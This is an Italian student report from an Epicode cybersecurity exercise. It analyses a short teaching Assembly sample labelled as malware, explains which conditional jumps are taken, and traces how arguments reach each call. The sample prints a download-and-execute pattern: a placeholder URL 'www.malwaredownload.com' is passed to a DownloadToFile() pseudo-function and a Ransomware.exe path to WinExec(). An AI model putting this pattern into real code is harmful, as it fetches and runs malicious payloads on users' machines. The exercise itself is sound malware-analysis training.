




# **S11/L5 Epicode Cybersecurity**

Analisi codice Malware




Introduzione	3
Analisi salti condizionali	4
Diagramma di flusso codice	6
Funzionalità implementate	8
Dettaglio argomenti 'call'	9




Nell'esercizio di oggi ci viene fornito un codice Assembly di un malware e ci viene richiesto di analizzarlo al fine di:

- spiegare, motivando, quale salto condizionale effettua il malware;
- disegnare un diagramma di flusso identificando i salti condizionali;
- identificare le funzionalità implementate nel malware;
- dettagliare il passaggio degli argomenti tramite funzioni 'call'.




La prima parte dell'esercizio ci chiede di spiegare quale salto condizionale viene effettuato nel codice fornitoci. Come possiamo vedere, in esso troviamo due funzioni di salto, evidenziate nell'immagine, **“jump if not zero”**(evidenziato in rosso) e **“jump if zero”**(evidenziato in blu).

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	<u>in</u> z	loc 0040BBAA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	<u>j</u> z	loc 0040FFAA0	; tabella 3



Il primo salto 'jnz' prende in considerazione EAX, a cui è stato assegnato valore 5, e 5; effettuando il comando 'cmp' si esegue di fatto una sottrazione che, in questo caso porta come risultato zero, non effettuando quindi il salto. Il secondo salto, invece, prende in considerazione EBX, a cui viene assegnato valore 10 e viene poi incrementato di 1, e 11: anche in questo caso la funzione 'cmp' darà valore zero, ma essendo il comando "jump if zero", il salto verrà effettuato.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	<u>jnz</u>	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	<u>jz</u>	loc 0040FFA0	; tabella 3



Per la seconda parte dell'esercizio ci viene richiesto di creare un diagramma di flusso col codice fornitoci, identificando i salti condizionali ed evidenziare quello effettuato con una linea verde e quello non effettuato con una linea rossa.




Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione




La terza parte della consegna ci chiede di evidenziare le diverse funzionalità implementate nel codice. In esso vediamo due funzioni:

- **DownloadToFile**: usata per scaricare un file da un dato URL;
- **WinExec**: usata per creare un processo.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione





L'ultima parte dell'esercizio ci chiede di dettagliare come sono passati gli argomenti delle tabelle alle successive chiamate di funzione.

1. Nella tabella di sinistra possiamo vedere l'URL del malware (EDI) che viene copiato nel registro EAX e passato come parametro della funzione “**DownloadToFile()**”.
2. Nella tabella di destra troviamo invece il percorso del malware (EDI) che viene copiato in EDX e passato come parametro della funzione “**WinExec()**”.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione